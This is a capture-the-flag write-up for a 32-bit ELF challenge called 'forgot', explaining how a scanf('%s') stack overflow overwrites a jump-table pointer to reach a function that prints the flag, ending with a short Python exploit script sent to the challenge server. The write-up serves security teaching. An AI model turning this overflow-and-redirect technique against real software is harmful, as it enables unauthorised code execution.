Fawkes has been playing around with Finite State Automaton lately. While exploring the concept of implementing regular expressions using FSA he thought of implementing an email-address validator.
Recently, Lua started to annoy Fawkes. To this, Fawkes, challenged Lua to a battle of wits. Fawkes promised to reward Lua, only if she manages to transition to a non-reachable state in the FSA he implemented. The replication can be accessed here.
Download the binary: forgot.
Not going to spend too much time on this write-up, it’s rather simple really.
$ file forgot forgot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=35930a2d9b048236694e9611073b759e1c88b8c4, stripped $ readelf -hl forgot|egrep "Type|GNU_STACK" Type: EXEC (Executable file) Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
Non executable stack, no symbols. Let’s poke it and see what it does.
$ ./forgot What is your name? > CED Hi CED Finite-State Automaton I have implemented a robust FSA to validate email addresses Throw a string at me and I will let you know if it is a valid email address Cheers! I should give you a pointer perhaps. Here: 8048654 Enter the string to be validate > CED Dude, you seriously think this is going to work. Where are the fancy @ and [dot], huh?
Ok, it leaks a pointer to the code segment. That’s good fun and all but pretty useless. Let’s open it up in a disassembler and browse around for a bit. You’ll notice a function that calls system(“cat ./flag”) at 0x080486cc so that’s probably where we want to end up.
Now let’s look at the main function. It starts by setting up a jump table at esp+0x30 starting with a function that prints an error message about the email address not containing an ‘@’ symbol. It uses fgets to read your name to esp+0x58 at a maximum of 0x20 characters, that’s not very useful. It uses scanf(“%s”) to read the email address to esp+0x10. We can use that to overwrite the first entry of the jump table at esp+0x30 and jump to the flag reading function.
So, we first write 0x30-0x10 = 32 bytes of A’s and then the pointer value of the flag reading function.
#!/usr/bin/env python from pwny import * target.assume(ELF('forgot')) #f = Flow.execute('./forgot') f = Flow.connect_tcp('hack.bckdr.in', 8009) f.until('\n> ') f.writeline('CED') f.until('\n> ') f.writeline('A' * 32 + P(0x080486cc)) f.read_eof(echo=True)